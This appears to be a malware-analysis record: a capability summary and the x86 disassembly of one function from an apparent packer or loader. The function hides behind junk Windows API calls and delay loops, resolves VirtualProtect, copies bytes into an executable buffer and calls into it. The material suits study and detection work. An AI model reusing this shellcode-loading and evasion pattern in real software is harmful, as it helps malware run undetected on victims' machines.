Function at 0x401a58
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Read file on windows
Set environment variable
Set registry value

Disassembly:
mov eax, 0x42646a
call fcn.00426230
sub esp, 0x4dc
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
xor ebx, ebx
call edi
cmp ebx, 0x207142
jg 0x401a88
inc ebx
cmp ebx, 0x67d12
jl 0x401a75
cmp dword [0x244b474], 0x93
jne 0x401b63
push esi
call dword [sym.imp.KERNEL32.dll_AddAtomW]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
push esi
lea eax, [ebp - 0x4e8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VerLanguageNameA]
push str.jixepeducane
lea ecx, [ebp - 0x40]
call fcn.00401e1e
push esi
push esi
push esi
push esi
mov dword [ebp - 4], esi
call fcn.00404a4d
push esi
push esi
call fcn.004047a8
add esp, 0x18
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x18], str.bad_exception
call fcn.0040415f
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], vtable.std::bad_exception.0
call fcn.004041bb
push esi
push esi
call fcn.004040c0
pop ecx
pop ecx
lea eax, [ebp - 0xe8]
push eax
call fcn.00402120
lea ecx, [ebp - 0x88]
call fcn.004021bc
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x88], vtable.std::ios_base.0
call fcn.004031e2
or dword [ebp - 4], 0xffffffff
pop ecx
push esi
push 1
lea ecx, [ebp - 0x40]
call fcn.004028f1
mov eax, dword [0x42db58]
add dword [0x244b474], 0x1134b
push str.kernel32.dll
mov dword [0x244c2b0], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.VirtualProtect
push eax
mov dword [0x244af04], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x244b474]
mov dword [0x244aef8], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push dword [0x244b474]
mov dword [0x244af00], eax
push eax
call dword [0x244aef8]
mov ebx, 0x1692e
push esi
lea eax, [ebp - 0x4e8]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
call edi
dec ebx
jne 0x401bc2
xor edi, edi
cmp dword [0x244b474], esi
jbe 0x401c3b
mov eax, dword [0x244c2b0]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x244af00]
mov byte [ecx + edi], al
cmp dword [0x244b474], 0x490
jne 0x401c32
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0x18]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
inc edi
cmp edi, dword [0x244b474]
jb 0x401be5
xor edi, edi
mov eax, dword [0x244b474]
add eax, edi
cmp eax, 0x8d
jne 0x401c76
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueA]
push esi
push esi
call dword [sym.imp.USER32.dll_SetMenu]
push str.Mul_nop_golinufarohiwif
push str.Sahikuxuyewa_wagivasixuvocut
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
inc edi
cmp edi, 0x38681
jl 0x401c3d
mov eax, dword [0x244b474]
mov ecx, dword [0x244af00]
shr eax, 3
cmp eax, esi
jbe 0x401cb3
mov ebx, ecx
mov edi, eax
cmp dword [0x244b474], 0x959
jne 0x401ca8
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call fcn.00401670
add ebx, 8
dec edi
jne 0x401c95
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x61
jne 0x401cd4
mov dword [ebp - 0x14], esi
add dword [ebp - 0x14], 0x60b3
mov eax, dword [ebp - 0x14]
add dword [0x244af00], eax
inc edi
cmp edi, 0x674bd
jl 0x401cb5
push 0x7b
pop edi
cmp dword [0x244b474], 0x86
jne 0x401d0a
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalHandle]
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsBadHugeReadPtr]
dec edi
jne 0x401ce0
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x244af00]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret